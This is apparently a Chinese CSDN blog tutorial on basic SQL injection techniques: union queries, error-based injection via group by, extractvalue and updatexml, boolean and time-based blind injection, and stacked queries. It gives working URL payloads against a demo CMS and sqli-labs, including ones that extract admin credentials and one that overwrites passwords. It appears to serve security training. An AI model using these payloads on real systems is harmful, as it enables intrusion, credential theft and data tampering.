SQL注入-第二节基本手法

本文详细介绍了SQL注入的基本手法,包括联合查询利用相同列数判断,报错注入利用错误信息,布尔盲注通过布尔状态判断,延时注入利用时间延迟,以及堆叠查询实现多SQL操作。讲解了如何通过这些方法获取数据库敏感信息和进行攻击。
摘要由CSDN通过智能技术生成

第二节 SQL注入基本手法

  • 通过SQL 注入获取数据内容

  • 掌握SQL 注入基本手法

2.1联合查询

适用数据库中的内容会回显到页面中来的情况。联合查询就是利用union select 语句,该语句会同时执行两条select 语句,实现跨库、跨表查询。

2.1.1必要条件

  • 两条select 语句查询结果具有相同列数;

  • 对应的列数据类型相同(特殊情况下,条件被放松)。

2.1.2目标分析

?id=1'%0Aand%0A1=1%23

?id=1'%0Band%0B1=1%23

?id=1'%0Dand%0D1=2%23

?id=1'%A0and%A01=2%23

2.1.3判断列数

?id=32 order by 1
?id=32 order by 2
...
?id=32 order by 15 正常
?id=32 order by 16 不正常
# 当前select 语句中具有15 列。
?id=32 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null
?id=32 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

2.1.4判断显示位置

把第一条select 语句的查询条件置为假。

?id=32 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
?id=-32 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

2.1.5数据库中敏感信息

?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15
?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,version(),12,13,14,15
?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,@@datadir,12,13,14,15
?id=32 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,current_user(),12,13,14,15

2.1.6获取管理员账

数据库名

?id=-33 UNION SELECT 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15
# cms

表名

?id=-33 UNION SELECT 1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where
table_schema=database()
?id=-33 UNION SELECT 1,2,hex(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where
table_schema=database() limit 0,1
?id=-33 UNION SELECT 1,2,hex(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where
table_schema=database() limit 1,1
?id=-33 UNION SELECT 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from
information_schema.tables where table_schema=database() 
#
636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573
736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273 
# cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users

列名

?id=-33 UNION SELECT 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from
information_schema.columns where table_schema=database() and table_name='cms_users'
# 7573657269642C757365726E616D652C70617373776F7264
# userid,username,password

数据

?id=-33 UNION SELECT 1,2,hex(concat(username,0x3a,password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users
# 61646D696E3A6531306164633339343962613539616262653536653035376632306638383365 
# admin:e10adc3949ba59abbe56e057f20f883e 
# admin:123456

2.2报错注入

在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以利用报错信息进行注入。

报错注入的原理,在错误信息中执行SQL 语句。触发报错的方式有很多,具体细节也不尽相同。此处建议直接背公式,将公式带换掉 1=1 的部

分。

2.2.1group by

?id=33 and (select 1 from (select count(*),concat(0x5e,(select database()),0x5e,floor(rand()*2))x from
information_schema.tables group by x)a)
?id=33 and (select 1 from (select count(*),concat(0x5e,(select password from cms_users limit
0,1),0x5e,floor(rand()*2))x from information_schema.tables group by x)a)

2.2.2extractvalue

?id=33 and extractvalue(1,concat(0x5e,(select database()),0x5e))
?id=33 and extractvalue(1,concat(0x5e,substr((select password from cms_users),17,32),0x5e))

2.2.3updatexml

?id=33 and updatexml(1,concat(0x5e,(select database()),0x5e),1)
?id=33 and updatexml(1,concat(0x5e,(select substr(password,1,16) from cms_users),0x5e),1)
?id=33 and updatexml(1,concat(0x5e,(select substr(password,17,32) from cms_users),0x5e),1)

2.3 布尔盲注

页面中有布尔类型的状态,可以根据布尔类型状态,对数据库中的内容进行判断。

2.3.1库名爆破

/Less-8/?id=2' and database()='xxx' --+
# 不知道数据库名有多少位
# 不知道数据库名的字符集合
# 爆破成本很高

2.3.2库名长度

/Less-8/?id=2' and length(database())=8 --+
# 页面正常,说明数据库名字的长度是8

2.3.3按位测试

# 第一位
/sqli-labs/Less-8/?id=2' and ascii(substr(database(),1,1))=115 --+
# 115
# s
/sqli-labs/Less-8/?id=2' and ascii(substr(database(),2,1))=101 --+
# 115 101
# s e
# 第三位
...

2.4延时注入

利用sleep() 语句的延时性,以时间线作为判断条件。

2.4.1数据库名字的长度

/sqli-labs/Less-9/?id=2' and if(length(database())>1,sleep(5),1) --+
# 页面有延时

2.4.2数据库名字

/sqli-labs/Less-9/?id=2' and if(substr(database(),3,1)='c',sleep(5),1) --+
# 115 101 99
# s e c

2.5 堆叠查询

一次HTTP 请求,可以同时执行多条SQL 语句,包括增删改查操作。

以sqli-labs 第38 关为例子。

?id=2';update users set password='123456'--+
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

§666§

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值